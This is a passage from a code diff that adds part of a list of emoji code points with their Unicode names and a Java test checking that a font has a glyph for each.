+ 0x1F93D, // WATER POLO
+ 0x1F93E, // HANDBALL
+ 0x1F940, // WILTED FLOWER
+ 0x1F941, // DRUM WITH DRUMSTICKS
+ 0x1F942, // CLINKING GLASSES
+ 0x1F943, // TUMBLER GLASS
+ 0x1F944, // SPOON
+ 0x1F945, // GOAL NET
+ 0x1F947, // FIRST PLACE MEDAL
+ 0x1F948, // SECOND PLACE MEDAL
+ 0x1F949, // THIRD PLACE MEDAL
+ 0x1F94A, // BOXING GLOVE
+ 0x1F94B, // MARTIAL ARTS UNIFORM
+ 0x1F94C, // CURLING STONE
+ 0x1F950, // CROISSANT
+ 0x1F951, // AVOCADO
+ 0x1F952, // CUCUMBER
+ 0x1F953, // BACON
+ 0x1F954, // POTATO
+ 0x1F955, // CARROT
+ 0x1F956, // BAGUETTE BREAD
+ 0x1F957, // GREEN SALAD
+ 0x1F958, // SHALLOW PAN OF FOOD
+ 0x1F959, // STUFFED FLATBREAD
+ 0x1F95A, // EGG
+ 0x1F95B, // GLASS OF MILK
+ 0x1F95C, // PEANUTS
+ 0x1F95D, // KIWIFRUIT
+ 0x1F95E, // PANCAKES
+ 0x1F95F, // DUMPLING
+ 0x1F960, // FORTUNE COOKIE
+ 0x1F961, // TAKEOUT BOX
+ 0x1F962, // CHOPSTICKS
+ 0x1F963, // BOWL WITH SPOON
+ 0x1F964, // CUP WITH STRAW
+ 0x1F965, // COCONUT
+ 0x1F966, // BROCCOLI
+ 0x1F967, // PIE
+ 0x1F968, // PRETZEL
+ 0x1F969, // CUT OF MEAT
+ 0x1F96A, // SANDWICH
+ 0x1F96B, // CANNED FOOD
+ 0x1F980, // CRAB
+ 0x1F981, // LION FACE
+ 0x1F982, // SCORPION
+ 0x1F983, // TURKEY
+ 0x1F984, // UNICORN FACE
+ 0x1F985, // EAGLE
+ 0x1F986, // DUCK
+ 0x1F987, // BAT
+ 0x1F988, // SHARK
+ 0x1F989, // OWL
+ 0x1F98A, // FOX FACE
+ 0x1F98B, // BUTTERFLY
+ 0x1F98C, // DEER
+ 0x1F98D, // GORILLA
+ 0x1F98E, // LIZARD
+ 0x1F98F, // RHINOCEROS
+ 0x1F990, // SHRIMP
+ 0x1F991, // SQUID
+ 0x1F992, // GIRAFFE
+ 0x1F993, // ZEBRA
+ 0x1F994, // HEDGEHOG
+ 0x1F995, // SAUROPOD
+ 0x1F996, // T-REX
+ 0x1F997, // CRICKET
+ 0x1F9C0, // CHEESE WEDGE
+ 0x1F9D0, // FACE WITH MONOCLE
+ 0x1F9D1, // ADULT
+ 0x1F9D2, // CHILD
+ 0x1F9D3, // OLDER ADULT
+ 0x1F9D4, // BEARDED PERSON
+ 0x1F9D5, // WOMAN WITH HEADSCARF
+ 0x1F9D6, // PERSON IN STEAMY ROOM
+ 0x1F9D7, // PERSON CLIMBING
+ 0x1F9D8, // PERSON IN LOTUS POSITION
+ 0x1F9D9, // MAGE
+ 0x1F9DA, // FAIRY
+ 0x1F9DB, // VAMPIRE
+ 0x1F9DC, // MERPERSON
+ 0x1F9DD, // ELF
+ 0x1F9DE, // GENIE
+ 0x1F9DF, // ZOMBIE
+ 0x1F9E0, // BRAIN
+ 0x1F9E1, // ORANGE HEART
+ 0x1F9E2, // BILLED CAP
+ 0x1F9E3, // SCARF
+ 0x1F9E4, // GLOVES
+ 0x1F9E5, // COAT
+ 0x1F9E6, // SOCKS
+ };
+
+ @Test
+ public void testEmojiCoverage() {
+ final Paint paint = new Paint();
+ for (int cp : ALL_EMOJI) {
+ final String characterAsString = new String(Character.toChars(cp));
+ assertTrue(String.format("No glyph for U+%04X", cp), paint.hasGlyph(characterAsString));
+ }
+ }
}